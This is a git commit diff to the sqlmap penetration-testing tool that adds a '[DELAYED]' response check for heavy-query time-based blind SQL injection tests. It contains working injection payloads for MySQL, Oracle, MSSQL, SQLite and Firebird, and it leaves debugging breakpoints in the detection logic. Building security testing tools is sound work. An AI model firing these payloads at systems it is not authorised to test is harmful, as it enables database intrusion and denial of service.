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https://github.com/sqlmapproject/sqlmap.git
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introducing [DELAYED] for heavy query time based payloads when response time is non-deterministic
This commit is contained in:
Miroslav Stampar
parent
32f1909131
commit
61f82fd274
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@ -45,6 +45,8 @@ from lib.core.exception import sqlmapSiteTooDynamic
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from lib.core.exception import sqlmapUserQuitException
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from lib.core.session import setString
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from lib.core.session import setRegexp
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from lib.core.settings import TIME_MIN_DELTA
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from lib.core.settings import TIME_N_RESPONSE
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from lib.request.connect import Connect as Request
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from plugins.dbms.firebird.syntax import Syntax as Firebird
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from plugins.dbms.postgresql.syntax import Syntax as PostgreSQL
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@ -351,11 +353,23 @@ def checkSqlInjection(place, parameter, value):
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_ = Request.queryPage(reqPayload, place)
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duration = calculateDeltaSeconds(start)
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if duration >= conf.timeSec:
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if check.isdigit():
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if duration >= int(check):
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infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
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logger.info(infoMsg)
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injectable = True
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elif check == "[DELAYED]":
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if duration >= max(TIME_MIN_DELTA, TIME_N_RESPONSE * kb.responseTime):
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import pdb
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pdb.set_trace()
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infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
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logger.info(infoMsg)
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injectable = True
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else:
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import pdb
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pdb.set_trace()
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# Restore old value of socket timeout
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socket.setdefaulttimeout(popValue())
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@ -1281,7 +1281,7 @@ def calculateDeltaSeconds(start, epsilon=0.1):
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Returns elapsed time from start till now (including expected
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error set by epsilon parameter)
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"""
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return int(time.time() - start - kb.responseTime + epsilon)
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return time.time() - start - kb.responseTime + epsilon
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def initCommonOutputs():
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kb.commonOutputs = {}
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@ -48,6 +48,11 @@ DUMP_STOP_MARKER = "__STOP__"
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PAYLOAD_DELIMITER = "\x00"
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# settings used for delayed time payloads
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TIME_MIN_DELTA = 1 # minimum difference of loading time in seconds
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TIME_N_RESPONSE = 3 # minimum multiplicant of response time
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# System variables
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IS_WIN = subprocess.mswindows
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# The name of the operating system dependent module imported. The following
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@ -1232,7 +1232,7 @@ Formats:
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<comment>--</comment>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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<time>[DELAYED]</time>
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</response>
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<details>
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<dbms>MySQL</dbms>
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@ -1271,7 +1271,7 @@ Formats:
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<comment>--</comment>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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<time>[DELAYED]</time>
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</response>
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<details>
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<dbms>PostgreSQL</dbms>
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@ -1388,7 +1388,7 @@ Formats:
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<comment>--</comment>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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<time>[DELAYED]</time>
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</response>
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<details>
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<dbms>SQLite</dbms>
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@ -1408,7 +1408,7 @@ Formats:
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<comment>--</comment>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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<time>[DELAYED]</time>
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</response>
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<details>
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<dbms>Firebird</dbms>
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@ -1452,7 +1452,7 @@ Formats:
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<payload>AND BENCHMARK(5000000, MD5('[SLEEPTIME]'))</payload>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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<time>[DELAYED]</time>
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</response>
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<details>
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<dbms>MySQL</dbms>
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@ -1484,29 +1484,11 @@ Formats:
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<risk>1</risk>
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<clause>1,2,3</clause>
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<where>1</where>
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<request>
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<payload>AND (SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM DUAL)>0</payload>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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</response>
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<details>
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<dbms>Oracle</dbms>
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</details>
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</test>
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<test>
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<title>Oracle AND time-based blind (heavy query)</title>
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<stype>5</stype>
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<level>2</level>
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<risk>1</risk>
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<clause>1,2,3</clause>
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<where>1</where>
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<request>
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<payload>AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)>0</payload>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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<time>[DELAYED]</time>
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</response>
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<details>
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<dbms>Oracle</dbms>
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@ -1524,7 +1506,7 @@ Formats:
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<payload>AND (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>0</payload>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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<time>[DELAYED]</time>
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</response>
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<details>
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<dbms>Microsoft SQL Server</dbms>
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@ -1532,7 +1514,7 @@ Formats:
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</test>
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<test>
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<title>SQLite > 2.0 AND time-based blind (heavy query)</title>
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<title>SQLite > 2.0 AND time-based blind</title>
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<stype>5</stype>
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<level>3</level>
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<risk>1</risk>
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@ -1543,7 +1525,7 @@ Formats:
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<payload>AND LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(10000000))))</payload>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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<time>[DELAYED]</time>
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</response>
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<details>
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<dbms>SQLite</dbms>
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@ -1563,7 +1545,7 @@ Formats:
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<payload>AND (SELECT COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6) > 0</payload>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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<time>[DELAYED]</time>
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</response>
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<details>
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<dbms>Firebird</dbms>
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@ -1611,7 +1593,7 @@ Formats:
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<payload>OR BENCHMARK(5000000, MD5('[SLEEPTIME]'))</payload>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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<time>[DELAYED]</time>
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</response>
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<details>
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<dbms>MySQL</dbms>
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@ -1647,7 +1629,7 @@ Formats:
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<payload>OR (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)>0</payload>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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<time>[DELAYED]</time>
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</response>
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<details>
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<dbms>Oracle</dbms>
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@ -1665,7 +1647,7 @@ Formats:
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<payload>OR (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>0</payload>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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<time>[DELAYED]</time>
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</response>
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<details>
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<dbms>Microsoft SQL Server</dbms>
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@ -1673,7 +1655,7 @@ Formats:
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</test>
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<test>
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<title>SQLite > 2.0 OR time-based blind (heavy query)</title>
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<title>SQLite > 2.0 OR time-based blind</title>
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<stype>5</stype>
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<level>4</level>
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<risk>3</risk>
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@ -1684,7 +1666,7 @@ Formats:
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<payload>OR LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(10000000))))</payload>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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<time>[DELAYED]</time>
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</response>
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<details>
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<dbms>SQLite</dbms>
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@ -1704,7 +1686,7 @@ Formats:
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<payload>OR (SELECT COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6) > 0</payload>
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</request>
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<response>
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<time>[SLEEPTIME]</time>
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<time>[DELAYED]</time>
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</response>
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<details>
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<dbms>Firebird</dbms>
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